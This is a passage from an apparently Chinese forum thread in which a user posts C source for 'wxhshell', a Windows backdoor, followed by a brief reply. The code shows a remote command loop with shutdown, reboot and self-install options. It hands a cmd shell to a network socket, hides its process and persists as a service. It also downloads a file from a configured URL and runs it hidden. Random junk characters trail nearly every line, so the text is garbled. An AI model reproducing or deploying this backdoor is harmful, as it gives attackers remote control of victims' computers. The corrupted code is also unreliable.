  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3<l}gB'S[  
  } AiL80W^=d)  
  else { iJeo d fC  
s)?GscPG!  
    switch(cmd[0]) { }]M'f:%b  
  \=P(?!v  
  // 帮助 V(XZ7<& {  
  case '?': { ^G 'n z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]0O3kiVQ  
    break; Q{5.;{/eC  
  } RUq[HxF) 6  
  // 安装 H )>3c1  
  case 'i': { lWH#/5`h  
    if(Install()) Bt#'6::  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "%bU74>  
    else Mnk-"d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #|3,DZ|)F  
    break; f~,Ml*Zp  
    } D+jE{v'  
  // 卸载 S_ nAO\h  
  case 'r': { JIjo^zOXsc  
    if(Uninstall()) l D->1=z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^QjkZ^<dD  
    else 4e?bkC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H DD)AM&p  
    break; '? -N  
    } 5wdKu,nq  
  // 显示 wxhshell 所在路径 P_b!^sq9  
  case 'p': { CbXSJDs  
    char svExeFile[MAX_PATH]; [c -|`d^  
    strcpy(svExeFile,"\n\r"); s(ap~UCOw  
      strcat(svExeFile,ExeFile); h6IO;:P)  
        send(wsh,svExeFile,strlen(svExeFile),0); 2.=G  
    break; >6[d&SM6  
    } $-|$4lrS  
  // 重启 {2QP6XsJ  
  case 'b': { [$ uKI,l  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); B'mUDW8\D  
    if(Boot(REBOOT)) :>0,MO.^~K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MBLDx sZ-  
    else { 6tjV^sjs  
    closesocket(wsh); }#; .b'`  
    ExitThread(0); /fLm )vN  
    } Um4DVg5  
    break; wv\V&U$  
    } ]d~{8h!G  
  // 关机 DUH DFG  
  case 'd': { wW8[t8%43  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); D SWmQQ  
    if(Boot(SHUTDOWN)) ?Ok&,\F@E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {-Mjs BR  
    else { fFoZ! H  
    closesocket(wsh); 19-V;F@;  
    ExitThread(0); m>F:dI  
    } C@[U:\  
    break; n(|n=P:o  
    } ZR-64G=L,  
  // 获取shell UCkV ;//.  
  case 's': { 3Agyp89}Q  
    CmdShell(wsh); %C@p4  
    closesocket(wsh); y"ss<`Cn  
    ExitThread(0); 3Ijs V5a  
    break; G,c2?^#n  
  } >4-9 @i0FV  
  // 退出 *0eV9!y  
  case 'x': { Zy.ls&<:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a1Q%Gn@R  
    CloseIt(wsh); e ky1}  
    break; $TS97'$  
    } [Y?Y@x"MZ  
  // 离开 H'7s`^- >I  
  case 'q': { B[6k [Vs  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @HSK[[?  
    closesocket(wsh); 4e;$+! dlV  
    WSACleanup(); fL d2{jI,  
    exit(1); &cJ?mSI  
    break; 7&OJ8B/  
        } {IvA 5^  
  } |Ldvfd  
  } M# -E  
x,cvAbwS  
  // 提示信息 c`UFNNm=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5W&L cBB  
} 6$f\#TR  
  } 80 T2EN:$  
lUA-ug! ^  
  return; Bd)Cijr  
} [}GK rI  
B"\9slX  
// shell模块句柄 "wg$ H1K  
int CmdShell(SOCKET sock) A L^tUcl  
{ W}2!~ep!  
STARTUPINFO si; 6O.kKhk  
ZeroMemory(&si,sizeof(si)); (9TSH3f?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z h9D^ I  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; LH=^3Gw  
PROCESS_INFORMATION ProcessInfo; diVg|Z3T  
char cmdline[]="cmd"; H?a $o(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "frioi`a2  
  return 0; -^(KGu&L&u  
} ='=4tj=z  
'1xhP}'3)  
// 自身启动模式 o)n)Z~  
int StartFromService(void) D/ sYH0.V$  
{ l?rLadvc  
typedef struct | 5:2?S2R  
{ o1?-+P/  
  DWORD ExitStatus; ;ND[+i2MN  
  DWORD PebBaseAddress; ^OX}y~'  
  DWORD AffinityMask; .T ,HtHe  
  DWORD BasePriority; t+q;}ZvG  
  ULONG UniqueProcessId; ;hV|W{=w  
  ULONG InheritedFromUniqueProcessId; MEJX5qG6m  
}   PROCESS_BASIC_INFORMATION; %.]#3tW  
tg==Qgz  
PROCNTQSIP NtQueryInformationProcess; 5G gH6   
]4V1]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,b IJW]h0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; afna7TlS  
5 r_Z3/%  
  HANDLE             hProcess; 5M~nNm[xJU  
  PROCESS_BASIC_INFORMATION pbi; vu91" 4Fa  
[hpkE lE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =<m!% /I  
  if(NULL == hInst ) return 0; QxxPImubB  
?6nB=B)/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); QT73=>^B  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =Ry8E2NuM  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +kEM%z  
Yb_HvP  
  if (!NtQueryInformationProcess) return 0; D)DD6  
_j3rs97@|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #Ha"rr46p  
  if(!hProcess) return 0; Z!^>!' Z  
s^IC]sW\%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; r\F2X J^  
$F9w0kz:,*  
  CloseHandle(hProcess); i=]R1yP  
L-rV+?i`6f  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); izGU&VeB  
if(hProcess==NULL) return 0; Hm!"%  
;~djbo0,X  
HMODULE hMod; }7b{ZbDI  
char procName[255]; C4`&_yoP4-  
unsigned long cbNeeded; ai1;v@1  
TQNdBq5I6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 89GW!  
S;gy:n!t  
  CloseHandle(hProcess); QKx(S=4jQ  
o#1Ta7Ro  
if(strstr(procName,"services")) return 1; // 以服务启动 pU<J?cU8N  
bc~$"  
  return 0; // 注册表启动 9&Un|cr  
} cn/&QA"  
~6Fh,S1?  
// 主模块 8-7Ml3G*  
int StartWxhshell(LPSTR lpCmdLine) EW vhT]<0  
{ +HRtuRv0T  
  SOCKET wsl; =q)+_@24>d  
BOOL val=TRUE; (Cq 38~mR  
  int port=0; ?wv3HN  
  struct sockaddr_in door; Vn:v{-i  
V9}\0joM  
  if(wscfg.ws_autoins) Install(); RU'a 8j+W  
SqRM*Cf=  
port=atoi(lpCmdLine); 8v8-5N  
-!qjBK,`X  
if(port<=0) port=wscfg.ws_port; "=C~I W  
:AFU5mR4&  
  WSADATA data; T ,!CDm$=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; u,`3_I^  
GHn0(o&K  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   { pQJ.QI  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Qt{V&Z7  
  door.sin_family = AF_INET; `AvK8Wh<+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5 -|7I7(G$  
  door.sin_port = htons(port); "eOl(TSu/  
^E\n^D-RV  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }vOg9/[{  
closesocket(wsl); N%Y!{k5T7  
return 1; ohyq/u+y~A  
} pO5j-d *  
bV2a2#kj  
  if(listen(wsl,2) == INVALID_SOCKET) { J%xUO1  
closesocket(wsl); )B&`<1Oie  
return 1; +zk5du^gZ  
} x7^VU5w#  
  Wxhshell(wsl); 517wduj  
  WSACleanup(); r#1W$~?>  
X(Mpg[,N"  
return 0; l59 N0G  
m-tn|m!J  
} btnD+O66<  
7G;1n0m-T  
// 以NT服务方式启动 ml^=y~J[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :=+YZ|&j  
{ a3w6&e`  
DWORD   status = 0; K;rgLj0m  
  DWORD   specificError = 0xfffffff; YT'V/8US  
qrj f  
  serviceStatus.dwServiceType     = SERVICE_WIN32; e1JH N  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; lg2I|Z6DH  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [\<#iRcP  
  serviceStatus.dwWin32ExitCode     = 0; vL[IVBG^  
  serviceStatus.dwServiceSpecificExitCode = 0; R2{]R&wtn0  
  serviceStatus.dwCheckPoint       = 0; Uf7ACv)Dn  
  serviceStatus.dwWaitHint       = 0; "fhQ{b$i  
M=95E$6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); O`%F{&;29  
  if (hServiceStatusHandle==0) return; -bdWG]w"  
m;rr7{7X  
status = GetLastError(); 8tv4_Lbx  
  if (status!=NO_ERROR) ^q/$a2<4  
{ X 5}=|%Y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; uqI'e_&=&5  
    serviceStatus.dwCheckPoint       = 0; 6bjZW ~  
    serviceStatus.dwWaitHint       = 0; p< 0=. ~  
    serviceStatus.dwWin32ExitCode     = status; -EFdP]XO  
    serviceStatus.dwServiceSpecificExitCode = specificError; #6YpV)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Hf1b&8&:K  
    return; f_LXp$n  
  } n/*" 2  
)16+Pm8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5Uy *^C7M^  
  serviceStatus.dwCheckPoint       = 0; UY({[?Se  
  serviceStatus.dwWaitHint       = 0; <"`f!k#[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ci 4c8  
} J@<f*  
%(6+{'j~#  
// 处理NT服务事件,比如:启动、停止 LE5N2k  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :%Iv<d<  
{ J"GsdLG.-  
switch(fdwControl) qLxcr/fK  
{ VB4V[jraCF  
case SERVICE_CONTROL_STOP: h`O$L_Z  
  serviceStatus.dwWin32ExitCode = 0; '-n Iy$>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *>zOWocxD  
  serviceStatus.dwCheckPoint   = 0; |&-*&)iD|w  
  serviceStatus.dwWaitHint     = 0; eY?OUS  
  { ZBx,'ph}4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >Je$WE3  
  } )G, S7A  
  return; kCz2uG)l  
case SERVICE_CONTROL_PAUSE: ;=^J_2ls  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 83_mR*tGNp  
  break; NJd4( P  
case SERVICE_CONTROL_CONTINUE: VyYrL]OrA  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $6 Hf[(/e  
  break; HGh)d` 8  
case SERVICE_CONTROL_INTERROGATE: nSQ]qH&4d  
  break; Q"eqql<h#  
}; }W!w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a_ [+id  
} s m G?y~  
IDqUiN  
// 标准应用程序主函数 vR5X  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) dQ_'8 )  
{ N M),2%<  
hSAI G  
// 获取操作系统版本 :@E^oNKa0  
OsIsNt=GetOsVer(); <?L5bhq  
GetModuleFileName(NULL,ExeFile,MAX_PATH); IN#/~[W  
FqnD"]A  
  // 从命令行安装 + `'wY?  
  if(strpbrk(lpCmdLine,"iI")) Install(); CK4#ZOiaa  
jgXr2JQ<  
  // 下载执行文件 8p}z~\J{a:  
if(wscfg.ws_downexe) { {|<r7K1<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7.2!g}E  
  WinExec(wscfg.ws_filenam,SW_HIDE); ']c;$wP  
} iK1{SgXrFI  
5"!K8 N  
if(!OsIsNt) { z52F-<  
// 如果时win9x,隐藏进程并且设置为注册表启动 (;9fkqm%m  
HideProc(); K%t&a RjS  
StartWxhshell(lpCmdLine); +"WNG  
} A(BjU:D(Oj  
else ?aBAmyxm  
  if(StartFromService()) /FW$)w2{j  
  // 以服务方式启动 2Q%M2Ua  
  StartServiceCtrlDispatcher(DispatchTable); pBBKfv  
else ;Z"Iv  
  // 普通方式启动 iGj,B =35  
  StartWxhshell(lpCmdLine); rAW7Zp~KK  
;H71A[M T  
return 0; |FlB#  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
10+5=?,请输入中文答案:十五